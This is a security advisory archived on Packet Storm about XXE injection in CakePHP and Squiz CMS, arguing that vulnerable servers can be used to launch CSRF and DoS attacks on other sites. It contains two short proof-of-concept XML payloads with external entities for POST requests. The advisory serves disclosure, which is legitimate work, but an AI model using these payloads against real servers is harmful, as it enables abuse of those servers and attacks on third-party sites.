what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

CakePHP / Squiz CMS XXE Injection

CakePHP / Squiz CMS XXE Injection
Posted Aug 12, 2012
Authored by MustLive

CakePHP and Squiz CMS suffer from XXE injection vulnerabilities.

tags | exploit, vulnerability, xxe
SHA-256 | 961339f6ca18d70df5c08cf52ba52dcf3e959a21197fa995450430621e4c7f3f

CakePHP / Squiz CMS XXE Injection

Change Mirror Download
Hello!

I'll give you additional information concerning advisories CakePHP
2.x-2.2.0-RC2 XXE Injection (http://securityvulns.ru/docs28331.html) and
Squiz CMS Multiple Vulnerabilities (http://securityvulns.ru/docs28220.html).
It's about XXE Injection in CakePHP and Squiz CMS.

Similarly to earlier mentioned by me XXE Injection vulnerabilities in Zend
Framework and multiple Adobe products, in case of CakePHP and Squiz CMS it's
also possible to conduct attacks on other sites. CakePHP uses PHP SimpleXML
similarly as Zend Framework, so it's vulnerable to the same XXE Injection.
And in CakePHP advisory it's only mentioned about local file inclusion
attack vector, which is the most significant one. And in Squiz CMS advisory
it's also not mentioned about attack on other sites (only demonstrated PoC
for port scanning).

So I'll supplement advisories of Pawel Wylecial and Sense of Security, and
will bring your attention to another attack vector. Because I think that
this attack vector is also important.

I've wrote in my July's article "Using XML External Entities (XXE) for
attacks on other sites", which I've announced last week in WASC Mailing List
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2012-August/008481.html),
that XXE vulnerabilities could be used for attacks on other sites. Similarly
as Abuse of Functionality and Remote File Include holes, about which I've
wrote in my 2010's article "Using of the sites for attacks on other sites"
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).
So in similar way XXE vulnerabilities can be used for conducting CSRF and
DoS attacks on other sites (and at using of multiple web sites it's possible
to conduct DDoS attacks). And in article "DDoS attacks via other sites
execution tool (DAVOSET)"
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-July/075622.html)
I've described efficiency of such attacks and the tool for their automation.

XXE (WASC-43):

For the attack it's needed to send the next XML data in POST request.

PoC for CakePHP:

<!DOCTYPE cakephp [
<!ENTITY xxe SYSTEM "http://site/page" >]>
<request>
<xxe>&xxe;</xxe>
</request>

PoC for Squiz CMS:

<!DOCTYPE scan [
<!ENTITY xxe SYSTEM "http://site/page">]>
<scan>&xxe;</scan>

In total we have a lot of web applications and millions of web sites, which
can be used for attacks on other sites via different vulnerabilities (AoF,
RFI, XXE). So web developers also should draw attention to this attack
vector.

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close